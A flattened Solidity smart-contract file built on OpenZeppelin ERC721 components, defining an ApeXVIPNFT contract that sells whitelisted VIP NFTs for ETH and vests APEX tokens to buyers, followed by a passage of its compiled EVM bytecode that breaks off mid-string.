uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol pragma solidity ^0.8.0; /** * @dev {ERC721} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * - token ID and URI autogeneration * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC721PresetMinterPauserAutoId is Context, AccessControlEnumerable, ERC721Enumerable, ERC721Burnable, ERC721Pausable { using Counters for Counters.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); Counters.Counter private _tokenIdTracker; string private _baseTokenURI; /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * Token URIs will be autogenerated based on `baseURI` and their token IDs. * See {ERC721-tokenURI}. */ constructor( string memory name, string memory symbol, string memory baseTokenURI ) ERC721(name, symbol) { _baseTokenURI = baseTokenURI; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * @dev Creates a new token for `to`. Its token ID will be automatically * assigned (and available on the emitted {IERC721-Transfer} event), and the token * URI autogenerated based on the base URI passed at construction. * * See {ERC721-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint"); // We cannot just use balanceOf to create the new tokenId because tokens // can be burned (destroyed), so we need a separate counter. _mint(to, _tokenIdTracker.current()); _tokenIdTracker.increment(); } /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // File: contracts/NFT/ApeXVIPNFT.sol pragma solidity ^0.8.0; contract ApeXVIPNFT is ERC721PresetMinterPauserAutoId, Ownable { event Claimed(address indexed user, uint256 amount); event StartTimeChanged(uint256 startTime, uint256 cliffTime, uint256 endTime); uint256 public totalEth; uint256 public remainOwners = 20; uint256 public id; mapping(address => bool) public whitelist; mapping(address => bool) public buyer; uint256 public startTime; uint256 public cliffTime; uint256 public endTime; // every buyer get uint256 public totalAmount = 1041666 * 10**18; // nft per price // uint256 public price = 50 ether; uint256 public price = 0.01 ether; // for test mapping(address => uint256) public claimed; address public token; constructor( string memory _name, string memory _symbol, string memory _baseTokenURI, address _token, uint256 _startTime, uint256 _cliff, uint256 _duration ) ERC721PresetMinterPauserAutoId(_name, _symbol, _baseTokenURI) { token = _token; startTime = _startTime; endTime = _startTime + _duration; cliffTime = _startTime + _cliff; _mint(msg.sender, id); id++; } function setStartTime(uint256 _startTime, uint256 cliff, uint256 duration) external onlyOwner { require(duration > cliff, "CLIFF < DURATION"); startTime = _startTime; cliffTime = _startTime + cliff; endTime = _startTime + duration; emit StartTimeChanged(startTime, cliffTime, endTime); } function setTotalAmount(uint256 _totalAmount) external onlyOwner { totalAmount = _totalAmount; } function addManyToWhitelist(address[] calldata _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } function removeFromWhitelist(address _beneficiary) public onlyOwner { _removeFromWhitelist(_beneficiary); } function claimApeXVIPNFT() external payable isWhitelisted(msg.sender) { require(msg.value == price, "VALUE_NOT_MATCH"); totalEth = totalEth + price; require(remainOwners > 0, "SOLD_OUT"); _mint(msg.sender, id); require(block.timestamp <= startTime, "PLEASE_CLAIM_NFT_BEFORE_RELEASE_BEGIN"); id++; remainOwners--; _removeFromWhitelist(msg.sender); buyer[msg.sender] = true; } function claimAPEX() external { address user = msg.sender; require(buyer[user], "ONLY_VIP_NFT_BUYER_CAN_CLAIM"); uint256 unClaimed = claimableAmount(user); require(unClaimed > 0, "unClaimed_AMOUNT_MUST_BIGGER_THAN_ZERO"); claimed[user] = claimed[user] + unClaimed; IERC20(token).transfer(user, unClaimed); emit Claimed(user, unClaimed); } function withdrawETH(address to) external onlyOwner { payable(to).transfer(address(this).balance); } function withdrawERC20Token(address token_, address to, uint256 amount) external onlyOwner returns (bool) { uint256 balance = IERC20(token_).balanceOf(address(this)); require(balance >= amount, "NOT_ENOUGH_BALANCE"); require(IERC20(token_).transfer(to, amount)); return true; } function claimableAmount(address user) public view returns (uint256) { return vestedAmount() - (claimed[user]); } function vestedAmount() public view returns (uint256) { if (block.timestamp < cliffTime) { return 0; } else if (block.timestamp >= endTime) { return totalAmount; } else { return (totalAmount * (block.timestamp - cliffTime)) / (endTime - cliffTime); } } function _removeFromWhitelist(address _beneficiary) internal { whitelist[_beneficiary] = false; } modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } }
0x60806040526004361061036b5760003560e01c806378e97925116101c6578063af640d0f116100f7578063ca15c87311610095578063e63ab1e91161006f578063e63ab1e9146109b6578063e985e9c5146109ea578063f2fde38b14610a33578063fc0c546a14610a535761036b565b8063ca15c87314610942578063d539139314610962578063d547741f146109965761036b565b8063c2e09942116100d1578063c2e09942146108d7578063c87b56dd146108df578063c884ef83146108ff578063c9af9c741461092c5761036b565b8063af640d0f14610871578063b774820814610887578063b88d4fde146108b75761036b565b806391d14854116101645780639cb15ad31161013e5780639cb15ad314610806578063a035b1fe14610826578063a217fddf1461083c578063a22cb465146108515761036b565b806391d14854146107a157806395d89b41146107c15780639b19251a146107d65761036b565b80638ab1d681116101a05780638ab1d681146107235780638c10671c146107435780638da5cb5b146107635780639010d07c146107815761036b565b806378e97925146106d85780638456cb59146106ee57806389885049146107035761036b565b80633c3c9c23116102a05780635c975abb1161023e578063690d832011610218578063690d8320146106635780636a6278421461068357806370a08231146106a3578063715018a6146106c35761036b565b80635c975abb1461060b57806360df8a1f146106235780636352211e146106435761036b565b806342966c681161027a57806342966c681461059657806344b1231f146105b65780634f6ccce7146105cb57806357d1b31b146105eb5761036b565b80633c3c9c231461054b5780633f4ba83a1461056157806342842e0e146105765761036b565b806323b872dd1161030d5780632f2ff15d116102e75780632f2ff15d146104d55780632f745c59146104f55780633197cbb61461051557806336568abe1461052b5761036b565b806323b872dd14610470578063248a9ca3146104905780632b87ef24146104c05761036b565b8063095ea7b311610349578063095ea7b3146103ff5780630f1a64441461042157806318160ddd146104455780631a39d8ef1461045a5761036b565b806301ffc9a71461037057806306fdde03146103a5578063081812fc146103c7575b600080fd5b34801561037c57600080fd5b5061039061038b366004613203565b610a73565b60405190151581526020015b60405180910390f35b3480156103b157600080fd5b506103ba610a86565b60405161039c919061338b565b3480156103d357600080fd5b506103e76103e23660046131a8565b610b19565b6040516001600160a01b03909116815260200161039c565b34801561040b57600080fd5b5061041f61041a3660046130f4565b610bb3565b005b34801561042d57600080fd5b5061043760165481565b60405190815260200161039c565b34801561045157600080fd5b50600a54610437565b34801561046657600080fd5b5061043760185481565b34801561047c57600080fd5b5061041f61048b366004612fae565b610cc9565b34801561049c57600080fd5b506104376104ab3660046131a8565b60009081526020819052604090206001015490565b3480156104cc57600080fd5b5061041f610cfb565b3480156104e157600080fd5b5061041f6104f03660046131c0565b610ecd565b34801561050157600080fd5b506104376105103660046130f4565b610eef565b34801561052157600080fd5b5061043760175481565b34801561053757600080fd5b5061041f6105463660046131c0565b610f88565b34801561055757600080fd5b5061043760105481565b34801561056d57600080fd5b5061041f610faa565b34801561058257600080fd5b5061041f610591366004612fae565b611052565b3480156105a257600080fd5b5061041f6105b13660046131a8565b61106d565b3480156105c257600080fd5b506104376110e7565b3480156105d757600080fd5b506104376105e63660046131a8565b611148565b3480156105f757600080fd5b50610390610606366004612fae565b6111e9565b34801561061757600080fd5b50600c5460ff16610390565b34801561062f57600080fd5b5061041f61063e3660046131a8565b61136d565b34801561064f57600080fd5b506103e761065e3660046131a8565b61139c565b34801561066f57600080fd5b5061041f61067e366004612f62565b611413565b34801561068f57600080fd5b5061041f61069e366004612f62565b611476565b3480156106af57600080fd5b506104376106be366004612f62565b611532565b3480156106cf57600080fd5b5061041f6115b9565b3480156106e457600080fd5b5061043760155481565b3480156106fa57600080fd5b5061041f6115ed565b34801561070f57600080fd5b5061043761071e366004612f62565b611691565b34801561072f57600080fd5b5061041f61073e366004612f62565b6116bc565b34801561074f57600080fd5b5061041f61075e36600461311d565b6116ef565b34801561076f57600080fd5b50600f546001600160a01b03166103e7565b34801561078d57600080fd5b506103e761079c3660046131e2565b611799565b3480156107ad57600080fd5b506103906107bc3660046131c0565b6117b8565b3480156107cd57600080fd5b506103ba6117e1565b3480156107e257600080fd5b506103906107f1366004612f62565b60136020526000908152604090205460ff1681565b34801561081257600080fd5b5061041f610821366004613253565b6117f0565b34801561083257600080fd5b5061043760195481565b34801561084857600080fd5b50610437600081565b34801561085d57600080fd5b5061041f61086c3660046130be565b6118ca565b34801561087d57600080fd5b5061043760125481565b34801561089357600080fd5b506103906108a2366004612f62565b60146020526000908152604090205460ff1681565b3480156108c357600080fd5b5061041f6108d2366004612fe9565b61199c565b61041f6119d4565b3480156108eb57600080fd5b506103ba6108fa3660046131a8565b611b3c565b34801561090b57600080fd5b5061043761091a366004612f62565b601a6020526000908152604090205481565b34801561093857600080fd5b5061043760115481565b34801561094e57600080fd5b5061043761095d3660046131a8565b611c16565b34801561096e57600080fd5b506104377f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b3480156109a257600080fd5b5061041f6109b13660046131c0565b611c2d565b3480156109c257600080fd5b506104377f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b3480156109f657600080fd5b50610390610a05366004612f7c565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b348015610a3f57600080fd5b5061041f610a4e366004612f62565b611c37565b348015610a5f57600080fd5b50601b546103e7906001600160a01b031681565b6000610a7e82611e1d565b90505b919050565b606060028054610a959061351b565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac19061351b565b8015610b0e5780601f10610ae357610100808354040283529160200191610b0e565b820191906000526020600020905b815481529060010190602001808311610af157829003601f168201915b505050505090505b90565b6000818152600460205260408120546001600160a01b0316610b975760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600660205260409020546001600160a01b031690565b6000610bbe8261139c565b9050806001600160a01b0316836001600160a01b03161415610c2c5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610b8e565b336001600160a01b0382161480610c485750610c488133610a05565b610cba5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610b8e565b610cc48383611e42565b505050565b610cd4335b82611eb0565b610cf05760405162461bcd60e51b8152600401610b8e90613425565b610cc4838383611fa7565b3360008181526014602052604090205460ff16610d5a5760405162461bcd60e51b815260206004820152601c60248201527f4f4e4c595f5649505f4e46545f42555945525f43414e5f434c41494d000000006044820152606401610b8e565b6000610d6582611691565b905060008111610dc65760405162461bcd60e51b815260206004820152602660248201527f756e436c61696d65645f414d4f554e545f4d5553545f4249474745525f5448416044820152654e5f5a45524f60d01b6064820152608401610b8e565b6001600160a01b0382166000908152601a6020526040902054610dea908290613476565b6001600160a01b038381166000818152601a60205260409081902093909355601b54925163a9059cbb60e01b815260048101919091526024810184905291169063a9059cbb90604401602060405180830381600087803b158015610e4d57600080fd5b505af1158015610e61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e85919061318c565b50816001600160a01b03167fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a82604051610ec191815260200190565b60405180910390a25050565b610ed78282612152565b6000828152600160205260409020610cc49082611cd9565b6000610efa83611532565b8210610f5c5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610b8e565b506001600160a01b03821660009081526008602090815260408083208484529091529020545b92915050565b610f928282612179565b6000828152600160205260409020610cc490826121f3565b610fd47f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a336107bc565b611048576040805162461bcd60e51b81526020600482015260248101919091527f4552433732315072657365744d696e7465725061757365724175746f49643a2060448201527f6d75737420686176652070617573657220726f6c6520746f20756e70617573656064820152608401610b8e565b611050612208565b565b610cc48383836040518060200160405280600081525061199c565b61107633610cce565b6110db5760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201526f1b995c881b9bdc88185c1c1c9bdd995960821b6064820152608401610b8e565b6110e48161229b565b50565b60006016544210156110fb57506000610b16565b601754421061110d5750601854610b16565b60165460175461111d91906134c1565b60165461112a90426134c1565b60185461113791906134a2565b611141919061348e565b9050610b16565b6000611153600a5490565b82106111b65760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610b8e565b600a82815481106111d757634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600f546000906001600160a01b031633146112165760405162461bcd60e51b8152600401610b8e906133f0565b6040516370a0823160e01b81523060048201526000906001600160a01b038616906370a082319060240160206040518083038186803b15801561125857600080fd5b505afa15801561126c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611290919061323b565b9050828110156112d75760405162461bcd60e51b81526020600482015260126024820152714e4f545f454e4f5547485f42414c414e434560701b6044820152606401610b8e565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820185905286169063a9059cbb90604401602060405180830381600087803b15801561132157600080fd5b505af1158015611335573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611359919061318c565b61136257600080fd5b506001949350505050565b600f546001600160a01b031633146113975760405162461bcd60e51b8152600401610b8e906133f0565b601855565b6000818152600460205260408120546001600160a01b031680610a7e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610b8e565b600f546001600160a01b0316331461143d5760405162461bcd60e51b8152600401610b8e906133f0565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015611472573d6000803e3d6000fd5b5050565b6114a07f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6336107bc565b6115125760405162461bcd60e51b815260206004820152603d60248201527f4552433732315072657365744d696e7465725061757365724175746f49643a2060448201527f6d7573742068617665206d696e74657220726f6c6520746f206d696e740000006064820152608401610b8e565b6115248161151f600d5490565b612342565b6110e4600d80546001019055565b60006001600160a01b03821661159d5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610b8e565b506001600160a01b031660009081526005602052604090205490565b600f546001600160a01b031633146115e35760405162461bcd60e51b8152600401610b8e906133f0565b6110506000612490565b6116177f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a336107bc565b6116895760405162461bcd60e51b815260206004820152603e60248201527f4552433732315072657365744d696e7465725061757365724175746f49643a2060448201527f6d75737420686176652070617573657220726f6c6520746f20706175736500006064820152608401610b8e565b6110506124e2565b6001600160a01b0381166000908152601a60205260408120546116b26110e7565b610a7e91906134c1565b600f546001600160a01b031633146116e65760405162461bcd60e51b8152600401610b8e906133f0565b6110e48161255d565b600f546001600160a01b031633146117195760405162461bcd60e51b8152600401610b8e906133f0565b60005b81811015610cc45760016013600085858581811061174a57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061175f9190612f62565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061179181613556565b91505061171c565b60008281526001602052604081206117b1908361257e565b9392505050565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b606060038054610a959061351b565b600f546001600160a01b0316331461181a5760405162461bcd60e51b8152600401610b8e906133f0565b81811161185c5760405162461bcd60e51b815260206004820152601060248201526f21a624a323101e10222aa920aa24a7a760811b6044820152606401610b8e565b601583905561186b8284613476565b6016556118788184613476565b60178190556015546016546040805192835260208301919091528101919091527fe2a4c2513e34204e5051379fd948edf16e91b26ddcb7e0af5b2f1cafa8b3f5dc9060600160405180910390a1505050565b6001600160a01b0382163314156119235760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610b8e565b3360008181526007602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611990911515815260200190565b60405180910390a35050565b6119a63383611eb0565b6119c25760405162461bcd60e51b8152600401610b8e90613425565b6119ce8484848461258a565b50505050565b3360008181526013602052604090205460ff166119f057600080fd5b6019543414611a335760405162461bcd60e51b815260206004820152600f60248201526e0ac8298aa8abe9c9ea8be9a82a8869608b1b6044820152606401610b8e565b601954601054611a439190613476565b601055601154611a805760405162461bcd60e51b815260206004820152600860248201526714d3d31117d3d55560c21b6044820152606401610b8e565b611a8c33601254612342565b601554421115611aec5760405162461bcd60e51b815260206004820152602560248201527f504c454153455f434c41494d5f4e46545f4245464f52455f52454c454153455f6044820152642122a3a4a760d91b6064820152608401610b8e565b60128054906000611afc83613556565b909155505060118054906000611b1183613504565b9190505550611b1f3361255d565b50336000908152601460205260409020805460ff19166001179055565b6000818152600460205260409020546060906001600160a01b0316611bbb5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610b8e565b6000611bc56125bd565b90506000815111611be557604051806020016040528060008152506117b1565b80611bef846125cc565b604051602001611c009291906132aa565b6040516020818303038152906040529392505050565b6000818152600160205260408120610a7e906126e7565b610f9282826126f1565b600f546001600160a01b03163314611c615760405162461bcd60e51b8152600401610b8e906133f0565b6001600160a01b038116611cc65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b8e565b6110e481612490565b6114728282612717565b60006117b1836001600160a01b03841661279b565b611cf9838383611d60565b600c5460ff1615610cc45760405162461bcd60e51b815260206004820152602b60248201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760448201526a1a1a5b19481c185d5cd95960aa1b6064820152608401610b8e565b6001600160a01b038316611dbb57611db681600a80546000838152600b60205260408120829055600182018355919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80155565b611dde565b816001600160a01b0316836001600160a01b031614611dde57611dde83826127ea565b6001600160a01b038216611dfa57611df581612887565b610cc4565b826001600160a01b0316826001600160a01b031614610cc457610cc48282612960565b60006001600160e01b0319821663780e9d6360e01b1480610a7e5750610a7e826129a4565b600081815260066020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611e778261139c565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008181526004602052604081